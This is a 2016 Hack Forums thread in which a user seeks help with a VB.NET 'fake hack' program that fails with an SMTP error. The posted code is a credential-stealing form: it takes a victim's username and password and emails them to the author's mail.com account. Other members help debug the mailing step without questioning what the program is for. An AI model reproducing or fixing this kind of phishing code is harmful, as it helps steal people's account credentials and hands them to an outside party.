![]() |
|
[.NET] mail.com error sending mail - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [.NET] mail.com error sending mail (/showthread.php?tid=5262406) |
mail.com error sending mail - timm1292 - May 7, 2016 I made a fake hack thingy but can somebody help me with "An Unhandled Exception of type 'System.Net.Mail.SmtpException" I think that the security of mail.com doesnt allow but can someone help me with this * - Oscura - May 7, 2016 Post your code so we can take a look at it. * - FiftyTwo - May 7, 2016 (May 7, 2016 03:09 PM)Oscura Wrote: Post your code so we can take a look at it. This. We can't really help without seeing the code so that we're able to figure out what caused the error. * - Malum™ - May 7, 2016 Post the snippet of code that is throwing the error. Make sure to exclude credentials too. Lol. * - timm1292 - May 7, 2016 (May 7, 2016 03:09 PM)Oscura Wrote: Post your code so we can take a look at it. End Sub Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click If TextBox1.Text = "" Then MsgBox("Username is Missing") If TextBox2.Text = "" Then MsgBox("Password Is Missing") Else End If End If Dim smtpServer As New SmtpClient() Dim Mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "MyPass") 'using mail.com smtpServer.Port = 587 smtpServer.Host = "smtp.mail.com" smtpServer.EnableSsl = True Mail = New MailMessage() Mail.From = New MailAddress("[email protected]") Mail.To.Add("[email protected]") Mail.Subject = "Password :" & TextBox1.Text Mail.Body = "Password : " & TextBox1.Text & "," & "Username : " & TextBox2.Text smtpServer.Send(Mail) End Sub End Class * - Oscura - May 7, 2016 Gmail by default blocks that kind of requests. You should change the securty settings in your GMail account. Login to the account and navigate here. Turn the Access for less secure apps on. ![]() If you'd like to read more about that, check this out (Google documentation). I hope that helps. Best regards * - FiftyTwo - May 7, 2016 (May 7, 2016 03:13 PM)timm1292 Wrote: End Sub"System.Net.Mail.SmtpException" is thrown when the application fails to complete a send email operation. Your code seems to look fine. Is there additional security on the mail.com email address that you're using? * - timm1292 - May 7, 2016 (May 7, 2016 03:17 PM)52 Wrote: "System.Net.Mail.SmtpException" is thrown when the application fails to complete a send email operation. I searched but i cant find anything.. * - Oscura - May 7, 2016 (May 7, 2016 03:18 PM)timm1292 Wrote: I searched but i cant find anything.. Please check out what I posted before. It should be the solution to your problem. * - FiftyTwo - May 7, 2016 (May 7, 2016 03:15 PM)Oscura Wrote: Gmail by default blocks that kind of requests. You should change the securty settings in your GMail account. Login to the account and navigate here. Turn the Access for less secure apps on. It's mail, not gmail. * - timm1292 - May 7, 2016 (May 7, 2016 03:21 PM)Oscura Wrote: Please check out what I posted before. It should be the solution to your problem. But Its Not Gmail But mail (mail.com) * - Oscura - May 7, 2016 (May 7, 2016 03:35 PM)timm1292 Wrote: But Its Not Gmail But mail (mail.com) Oh right sorry, didn't notice that. |